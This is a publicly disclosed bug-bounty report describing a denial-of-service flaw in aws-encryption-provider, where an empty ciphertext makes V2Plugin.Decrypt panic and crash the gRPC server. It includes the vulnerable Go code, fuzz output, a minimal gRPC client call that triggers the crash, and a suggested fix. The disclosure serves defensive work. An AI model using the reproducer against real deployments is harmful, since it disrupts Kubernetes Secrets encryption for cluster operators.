HexBrain

AWS VDP · Report #3620753

V2Plugin.Decrypt panics on empty ciphertext (Remote DoS)

Validstatus
mediumseverity
25upvotes
28 May 2026disclosed

How it was found

Component: pkg/plugin/plugin_v2.go:182 Affected Version: aws-encryption-provider @ 4341c70 (all versions) Found by: Fuzz testing (FuzzV2Decrypt, seed#0: empty []byte{}) TLP: TLP:Amber


Summary

V2Plugin.Decrypt() accesses request.Ciphertext[0] without checking that the slice is non-empty. Same root cause as BUG-001 but in the V2 (KMS v2) API path. Crashes the entire gRPC server process.


Vulnerable Code

// pkg/plugin/plugin_v2.go:178-189
func (p *V2Plugin) Decrypt(ctx context.Context, request *pb.DecryptRequest) (*pb.DecryptResponse, error) {
    zap.L().Debug("starting decrypt operation")

    startTime := time.Now()
    storageVersion := kmsplugin.KMSStorageVersion(request.Ciphertext[0])  // <-- LINE 182: PANIC
    switch storageVersion {
    case kmsplugin.KMSStorageVersionV2:
        request.Ciphertext = request.Ciphertext[1:]
    default:
        return nil, fmt.Errorf("version %s in Ciphertext doesn't match kmsplugin", storageVersion)
    }

Root Cause

Identical to BUG-001. The KMSStorageVersion type conversion indexes request.Ciphertext[0] without a length check. The gRPC DecryptRequest.Ciphertext field is a []byte that can be empty or nil.

Reproducer

$ go test -fuzz FuzzV2Decrypt -fuzztime 10s ./pkg/plugin/
--- FAIL: FuzzV2Decrypt (0.00s)
    --- FAIL: FuzzV2Decrypt/seed#0 (0.00s)
panic: runtime error: index out of range [0] with length 0
    sigs.k8s.io/aws-encryption-provider/pkg/plugin.(*V2Plugin).Decrypt
        ████████

Minimal gRPC client reproducer:

conn, _ := grpc.Dial("unix:///var/run/kmsplugin/socket.sock", grpc.WithInsecure())
client := v2pb.NewKeyManagementServiceClient(conn)
// This crashes the server:
client.Decrypt(context.Background(), &v2pb.DecryptRequest{Ciphertext: []byte{}})

Suggested Fix

func (p *V2Plugin) Decrypt(ctx context.Context, request *pb.DecryptRequest) (*pb.DecryptResponse, error) {
    zap.L().Debug("starting decrypt operation")

    startTime := time.Now()
    if len(request.Ciphertext) == 0 {
        return nil, fmt.Errorf("invalid empty ciphertext")
    }
    storageVersion := kmsplugin.KMSStorageVersion(request.Ciphertext[0])

Platform

Tested on macOS arm64, Go 1.26.1. Bug is platform-independent (pure Go).

Impact

Impact

Same as another my bug https://hackerone.com/reports/3620748: unrecoverable server crash, Kubernetes Secrets unavailable during restart. Both V1 and V2 APIs are vulnerable — a single server process hosts both, so crashing via either API takes down both.

  • Server crash: The panic is unrecovered — it kills the entire aws-encryption-provider process
  • Kubernetes secret unavailability: While the pod restarts, kube-apiserver cannot encrypt/decrypt any Secrets at rest, blocking pod creation, configmap reads, service account token issuance
  • No authentication required: The gRPC server has no auth — any process with access to the Unix socket can trigger this
  • Trivially exploitable: Single gRPC call with empty ciphertext, no valid KMS credentials needed
  • Affects both nil and empty slices: Both Cipher: nil and Cipher: []byte{} trigger the panic

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original